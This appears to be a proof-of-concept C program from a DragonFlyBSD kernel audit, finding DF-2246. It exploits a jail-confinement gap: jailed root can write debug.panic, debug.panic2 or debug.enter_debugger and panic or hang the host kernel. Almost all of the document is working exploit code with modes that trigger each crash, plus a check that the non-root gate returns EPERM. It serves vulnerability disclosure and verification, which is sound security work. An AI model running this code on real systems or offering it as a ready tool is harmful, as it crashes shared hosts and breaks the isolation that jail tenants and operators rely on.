DragonFlyBSD Kernel Audit
DF-2246 / ddb_sysctl.c
← back to finding ↓ download raw
/*
 * DF-2246 PoC: destructive DDB sysctls have no jail confinement.
 *
 * The sysctl dispatcher (sys/kern/kern_sysctl.c:1446) gates writes on
 * caps_priv_check(SYSCAP_NOSYSCTL_WR). prison_priv_check() in
 * sys/kern/kern_jail.c:885 returns 0 (allowed) for SYSCAP_NOSYSCTL_WR
 * inside a jail, so a jailed root can write debug.panic / debug.panic2 /
 * debug.enter_debugger and panic/hang the HOST kernel -- crossing the
 * jail containment boundary.
 *
 * Outside a jail the unprivileged (non-root) gate holds: writing these
 * sysctls as uid!=0 returns EPERM (verified). This PoC runs as the
 * invoking user; if run as root it will hang the kernel in DDB or panic
 * it. Pass an argument to choose the destructive sysctl.
 *
 *   ./ddb_sysctl enter   -> debug.enter_debugger=ddb  (hard DDB hang)
 *   ./ddb_sysctl panic   -> debug.panic=1              (kernel panic)
 *   ./ddb_sysctl panic2  -> debug.panic2=1            (stack-guard panic)
 *   (no arg / unpriv)    -> prints EPERM, demonstrates the gate
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/sysctl.h>

static int write_sysctl(const char *name, const char *val)
{
    char buf[64];
    size_t vlen = strlen(val) + 1;
    if (vlen > sizeof(buf))
        vlen = sizeof(buf);
    strlcpy(buf, val, sizeof(buf));
    int rc = sysctlbyname(name, NULL, NULL, buf, vlen);
    return rc;
}

int main(int argc, char **argv)
{
    const char *mode = (argc > 1) ? argv[1] : "check";
    int rc;

    if (strcmp(mode, "enter") == 0) {
        printf("[*] writing debug.enter_debugger=ddb (root) -> DDB hard hang\n");
        rc = write_sysctl("debug.enter_debugger", "ddb");
        printf("[!] returned rc=%d (unexpected: kernel did not enter DDB)\n", rc);
    } else if (strcmp(mode, "panic") == 0) {
        printf("[*] writing debug.panic=1 (root) -> kernel panic\n");
        rc = write_sysctl("debug.panic", "1");
        printf("[!] returned rc=%d (unexpected: kernel did not panic)\n", rc);
    } else if (strcmp(mode, "panic2") == 0) {
        printf("[*] writing debug.panic2=1 (root) -> stack-guard panic\n");
        rc = write_sysctl("debug.panic2", "1");
        printf("[!] returned rc=%d (unexpected: no panic)\n", rc);
    } else {
        /* check: demonstrates the unprivileged gate holds */
        rc = write_sysctl("debug.panic", "1");
        if (rc != 0) {
            printf("[+] unprivileged debug.panic write BLOCKED: rc=%d errno=%d (%s)\n",
                   rc, errno, strerror(errno));
            printf("[+] the uid-0 capability gate (SYSCAP_NOSYSCTL_WR) holds for non-root.\n");
            printf("[+] NOTE: prison_priv_check() returns 0 for SYSCAP_NOSYSCTL_WR (kern_jail.c:885),\n");
            printf("    so a jailed root CAN write these -- the jail-confinement gap is real.\n");
        } else {
            printf("[!] unprivileged debug.panic write SUCCEEDED -- gate broken!\n");
        }
    }
    return (rc == 0) ? 0 : 1;
}